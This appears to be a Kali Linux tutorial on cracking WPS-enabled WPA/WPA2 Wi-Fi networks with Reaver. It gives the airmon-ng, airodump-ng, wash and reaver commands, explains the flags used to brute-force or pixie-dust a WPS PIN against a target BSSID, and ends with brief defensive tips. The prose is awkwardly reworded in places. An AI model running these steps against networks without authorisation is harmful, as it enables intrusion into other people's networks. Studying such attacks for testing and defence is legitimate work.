Home Wireless Attacks How to Crack a WPS Enabled WPA/WPA2 WiFi Network With – Reaver

How to Crack a WPS Enabled WPA/WPA2 WiFi Network With – Reaver

In this Kali Linux Tutorial, we are to work with Reaver. Reaver has been designed to be a handy and effective tool to attack Wi-Fi Protected Setup (WPS) register PINs keeping in mind the tip goal to recover WPA/WPA2 passphrases.

Presently hacking WPA/WPA2 is exceptionally a tedious job. A dictionary attack could take days, and still will not succeed.

WPS-functionality always stopped to work somewhere between 2 and 150 failed authentication attempts. The functionality did not even return after several hours. I would consider this a bug in the firmware which causes a DoS rather than lock-down functionality. Researchers said.

All major suppliers (counting Cisco/Linksys, Netgear, D-Link, Belkin, Buffalo, ZyXEL, and Technicolor) have WPS-affirmed gadgets, completely different sellers (eg. TP-Link) send gadgets with WPS-support that aren’t WPS-certified.WPS is enabled default by all devices.

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Penetration testing with Reaver – Kali Linux Tutorial

First, we should setup our Wireless device in Monitoring mode.

airmon-ng start wlan0

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You should notice for the device setup in the Monitor mode wlan0mon.

airodump-ng wlan0mon

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Now we can see the BSSID of the devices that near to us and you can also use               wash -i wlan0mon to display all WPS enabled WiFi networks.

We have gathered all the required information, now time to attack from Reaver.

reaver -i wlan0mon -b DC:EF:09:17:9A:2C –vvv -K 1

-i  Indicates interface
-b BSSID of the target AP
-v verbose
-K Run pixiewps

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It will go on scanning with all WPS pin available.

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If it finds a matching PIN it will go and be exploiting it.

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  • Enable MAC address filtering.
  • Disable WPS.
  • Physically Protect the Router.


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